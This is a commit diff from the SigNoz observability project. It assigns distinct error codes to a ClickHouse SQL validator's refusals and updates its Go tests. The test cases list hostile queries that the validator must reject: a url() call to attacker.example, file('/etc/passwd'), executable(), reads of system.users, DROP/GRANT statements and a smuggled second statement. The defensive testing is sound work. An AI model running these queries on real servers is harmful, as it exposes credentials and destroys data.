SigNoz is an open-source, OpenTelemetry-native observability platform for your team and their AI agents. Get logs, metrics, and traces in one tool with features like APM, distributed tracing, log management, infra monitoring, etc. Combined with SigNoz MCP and a native AI teammate (in SigNoz Cloud) it helps you build more resilient apps.
TypeScript apmapplication-monitoringdistributed-tracinggogood-first-issuejaegerloglogsmetricsmonitoringnextjsobservabilityopen-sourceopentelemetryprometheusreactreactjsself-hostedtracingtypescript
fix(querybuilder): give each clickhouse sql refusal its own error code (#12339)
Pandey6f3dd0b7ad76
diff --git a/pkg/querybuilder/clickhouse_sql.go b/pkg/querybuilder/clickhouse_sql.goindex 158f3cffab..07d51c7a7a 100644--- a/pkg/querybuilder/clickhouse_sql.go+++ b/pkg/querybuilder/clickhouse_sql.go@@ -9,6 +9,16 @@ import ("github.com/SigNoz/signoz/pkg/errors")+var (+ CodeClickHouseSQLParserPanic = errors.MustNewCode("clickhouse_sql_parser_panic")+ CodeClickHouseSQLUnparseable = errors.MustNewCode("clickhouse_sql_unparseable")+ CodeClickHouseSQLNotSingleStatement = errors.MustNewCode("clickhouse_sql_not_single_statement")+ CodeClickHouseSQLNotSelect = errors.MustNewCode("clickhouse_sql_not_select")+ CodeClickHouseSQLTableFunction = errors.MustNewCode("clickhouse_sql_table_function")+ CodeClickHouseSQLInternalDatabase = errors.MustNewCode("clickhouse_sql_internal_database")+ CodeClickHouseSQLReadonlyOverride = errors.MustNewCode("clickhouse_sql_readonly_override")+)+// internalDatabases hold server metadata, credentials and grants rather than telemetry.var internalDatabases = map[string]struct{}{"system": {},@@ -20,30 +30,30 @@ func ErrIfStatementIsNotValid(query string) (err error) {defer func() {// The parser has a history of panicking on malformed input rather than returning an error.if recovered := recover(); recovered != nil {- err = errors.NewInvalidInputf(errors.CodeInvalidInput, "invalid ClickHouse SQL (recovered): %v", recovered)+ err = errors.NewInvalidInputf(CodeClickHouseSQLParserPanic, "invalid ClickHouse SQL (recovered): %v", recovered)}}()stmts, parseErr := chparser.NewParser(query).ParseStmts()if parseErr != nil {// Wrapped rather than formatted in, so that callers can recover the parser's *ParseError and read the position off it.- return errors.WrapInvalidInputf(parseErr, errors.CodeInvalidInput, "invalid ClickHouse SQL: %s", parseErr.Error())+ return errors.WrapInvalidInputf(parseErr, CodeClickHouseSQLUnparseable, "invalid ClickHouse SQL: %s", parseErr.Error())}if len(stmts) != 1 {- return errors.NewInvalidInputf(errors.CodeInvalidInput, "ClickHouse SQL must contain exactly one statement, found %d statements", len(stmts))+ return errors.NewInvalidInputf(CodeClickHouseSQLNotSingleStatement, "ClickHouse SQL must contain exactly one statement, found %d statements", len(stmts))}selectQuery, ok := stmts[0].(*chparser.SelectQuery)if !ok {- return errors.NewInvalidInputf(errors.CodeInvalidInput, "only SELECT statements are allowed in ClickHouse SQL queries")+ return errors.NewInvalidInputf(CodeClickHouseSQLNotSelect, "only SELECT statements are allowed in ClickHouse SQL queries")}visitor := &chparser.DefaultASTVisitor{Visit: func(node chparser.Expr) error {switch expr := node.(type) {case *chparser.TableFunctionExpr:// Source table functions remain usable in ClickHouse read-only mode.- return errors.NewInvalidInputf(errors.CodeInvalidInput, "ClickHouse table functions are not allowed in SQL queries: %s", chparser.Format(expr.Name))+ return errors.NewInvalidInputf(CodeClickHouseSQLTableFunction, "ClickHouse table functions are not allowed in SQL queries: %s", chparser.Format(expr.Name))case *chparser.TableIdentifier:// Reading these is unaffected by ClickHouse read-only mode.@@ -52,13 +62,13 @@ func ErrIfStatementIsNotValid(query string) (err error) {}if _, ok := internalDatabases[strings.ToLower(expr.Database.Name)]; ok {- return errors.NewInvalidInputf(errors.CodeInvalidInput, "the ClickHouse %s database is not allowed in SQL queries", expr.Database.Name)+ return errors.NewInvalidInputf(CodeClickHouseSQLInternalDatabase, "the ClickHouse %s database is not allowed in SQL queries", expr.Database.Name)}case *chparser.SettingExpr:// A query-level setting takes precedence over the context setting.if strings.EqualFold(expr.Name.Name, "readonly") {- return errors.NewInvalidInputf(errors.CodeInvalidInput, "the ClickHouse readonly setting cannot be overridden")+ return errors.NewInvalidInputf(CodeClickHouseSQLReadonlyOverride, "the ClickHouse readonly setting cannot be overridden")}}diff --git a/pkg/querybuilder/clickhouse_sql_test.go b/pkg/querybuilder/clickhouse_sql_test.goindex dae634f442..d1a8db5a30 100644--- a/pkg/querybuilder/clickhouse_sql_test.go+++ b/pkg/querybuilder/clickhouse_sql_test.go@@ -3,6 +3,8 @@ package querybuilderimport ("testing"+ "github.com/SigNoz/signoz/pkg/errors"+chparser "github.com/AfterShip/clickhouse-sql-parser/parser""github.com/stretchr/testify/assert""github.com/stretchr/testify/require"@@ -52,49 +54,52 @@ func TestErrIfStatementIsNotValid_Pass(t *testing.T) {func TestErrIfStatementIsNotValid_Fail(t *testing.T) {testCases := []struct {- name string- query string+ name string+ query string+ expectedCode errors.Code}{// Not a single statement, or not a statement at all.- {"Empty", ""},- {"UnterminatedBlockCommentOnly", "/* x"},- {"Unparseable", "SELECT FROM WHERE"},- {"MultipleStatements", "SELECT 1; DROP TABLE signoz_logs.logs_v2"},+ {"Empty", "", CodeClickHouseSQLNotSingleStatement},+ {"UnterminatedBlockCommentOnly", "/* x", CodeClickHouseSQLUnparseable},+ {"Unparseable", "SELECT FROM WHERE", CodeClickHouseSQLUnparseable},+ {"MultipleStatements", "SELECT 1; DROP TABLE signoz_logs.logs_v2", CodeClickHouseSQLNotSingleStatement},// Parses, but is not a SELECT.- {"Drop", "DROP TABLE signoz_logs.logs_v2"},- {"Insert", "INSERT INTO signoz_logs.logs_v2 SELECT * FROM signoz_logs.logs_v2"},- {"AlterDelete", "ALTER TABLE signoz_logs.logs_v2 DELETE WHERE 1 = 1"},- {"CreateTable", "CREATE TABLE evil (a Int) ENGINE = Memory"},- {"Grant", "GRANT ALL ON *.* TO admin"},- {"Set", "SET readonly = 0"},+ {"Drop", "DROP TABLE signoz_logs.logs_v2", CodeClickHouseSQLNotSelect},+ {"Insert", "INSERT INTO signoz_logs.logs_v2 SELECT * FROM signoz_logs.logs_v2", CodeClickHouseSQLNotSelect},+ {"AlterDelete", "ALTER TABLE signoz_logs.logs_v2 DELETE WHERE 1 = 1", CodeClickHouseSQLNotSelect},+ {"CreateTable", "CREATE TABLE evil (a Int) ENGINE = Memory", CodeClickHouseSQLNotSelect},+ {"Grant", "GRANT ALL ON *.* TO admin", CodeClickHouseSQLNotSelect},+ {"Set", "SET readonly = 0", CodeClickHouseSQLNotSelect},// These the parser rejects outright rather than classifying.- {"ShowGrants", "SHOW GRANTS"},- {"IntoOutfile", "SELECT * FROM t INTO OUTFILE '/tmp/x.csv'"},+ {"ShowGrants", "SHOW GRANTS", CodeClickHouseSQLUnparseable},+ {"IntoOutfile", "SELECT * FROM t INTO OUTFILE '/tmp/x.csv'", CodeClickHouseSQLUnparseable},// Table functions, which read through something other than a telemetry table.- {"UrlTableFunction", "SELECT * FROM url('http://attacker.example/x', CSV, 'a String')"},- {"FileTableFunction", "SELECT * FROM file('/etc/passwd', CSV, 'a String')"},- {"ExecutableTableFunction", "SELECT * FROM executable('script.sh', CSV, 'a String')"},- {"TableFunctionInJoin", "SELECT * FROM t1 JOIN url('http://x', CSV, 'a String') u ON 1 = 1"},- {"TableFunctionInCommonTableExpression", "WITH c AS (SELECT * FROM url('http://x', CSV, 'a String')) SELECT * FROM c"},- {"TableFunctionInWhereSubquery", "SELECT * FROM t WHERE a IN (SELECT * FROM file('/etc/passwd', CSV, 'a String'))"},- {"TableFunctionInUnion", "SELECT * FROM t UNION ALL SELECT * FROM url('http://x', CSV, 'a String')"},+ {"UrlTableFunction", "SELECT * FROM url('http://attacker.example/x', CSV, 'a String')", CodeClickHouseSQLTableFunction},+ {"FileTableFunction", "SELECT * FROM file('/etc/passwd', CSV, 'a String')", CodeClickHouseSQLTableFunction},+ {"ExecutableTableFunction", "SELECT * FROM executable('script.sh', CSV, 'a String')", CodeClickHouseSQLTableFunction},+ {"TableFunctionInJoin", "SELECT * FROM t1 JOIN url('http://x', CSV, 'a String') u ON 1 = 1", CodeClickHouseSQLTableFunction},+ {"TableFunctionInCommonTableExpression", "WITH c AS (SELECT * FROM url('http://x', CSV, 'a String')) SELECT * FROM c", CodeClickHouseSQLTableFunction},+ {"TableFunctionInWhereSubquery", "SELECT * FROM t WHERE a IN (SELECT * FROM file('/etc/passwd', CSV, 'a String'))", CodeClickHouseSQLTableFunction},+ {"TableFunctionInUnion", "SELECT * FROM t UNION ALL SELECT * FROM url('http://x', CSV, 'a String')", CodeClickHouseSQLTableFunction},// Internal databases, which hold grants and server metadata rather than telemetry.- {"SystemUsers", "SELECT * FROM system.users"},- {"SystemUppercase", "SELECT * FROM SYSTEM.USERS"},- {"SystemQuoted", "SELECT count() FROM `system`.`tables`"},- {"SystemInSubquery", "SELECT * FROM (SELECT name FROM system.parts)"},- {"SystemInJoin", "SELECT * FROM signoz_logs.distributed_logs_v2 AS l JOIN system.users AS u ON 1 = 1"},- {"SystemInIntersect", "SELECT * FROM t INTERSECT SELECT * FROM system.users"},- {"InformationSchema", "SELECT * FROM information_schema.tables"},+ {"SystemUsers", "SELECT * FROM system.users", CodeClickHouseSQLInternalDatabase},+ {"SystemUppercase", "SELECT * FROM SYSTEM.USERS", CodeClickHouseSQLInternalDatabase},+ {"SystemQuoted", "SELECT count() FROM `system`.`tables`", CodeClickHouseSQLInternalDatabase},+ {"SystemInSubquery", "SELECT * FROM (SELECT name FROM system.parts)", CodeClickHouseSQLInternalDatabase},+ {"SystemInJoin", "SELECT * FROM signoz_logs.distributed_logs_v2 AS l JOIN system.users AS u ON 1 = 1", CodeClickHouseSQLInternalDatabase},+ {"SystemInIntersect", "SELECT * FROM t INTERSECT SELECT * FROM system.users", CodeClickHouseSQLInternalDatabase},+ {"InformationSchema", "SELECT * FROM information_schema.tables", CodeClickHouseSQLInternalDatabase},// A query-level setting takes precedence over the one the caller applies.- {"ReadonlySettingOverride", "SELECT * FROM t SETTINGS readonly = 0"},- {"ReadonlySettingOverrideAmongOthers", "SELECT * FROM t SETTINGS max_threads = 4, readonly = 0"},+ {"ReadonlySettingOverride", "SELECT * FROM t SETTINGS readonly = 0", CodeClickHouseSQLReadonlyOverride},+ {"ReadonlySettingOverrideAmongOthers", "SELECT * FROM t SETTINGS max_threads = 4, readonly = 0", CodeClickHouseSQLReadonlyOverride},}for _, testCase := range testCases {t.Run(testCase.name, func(t *testing.T) {err := ErrIfStatementIsNotValid(testCase.query)+assert.Error(t, err)+ assert.True(t, errors.Asc(err, testCase.expectedCode), "expected code %s, got %v", testCase.expectedCode, err)})}}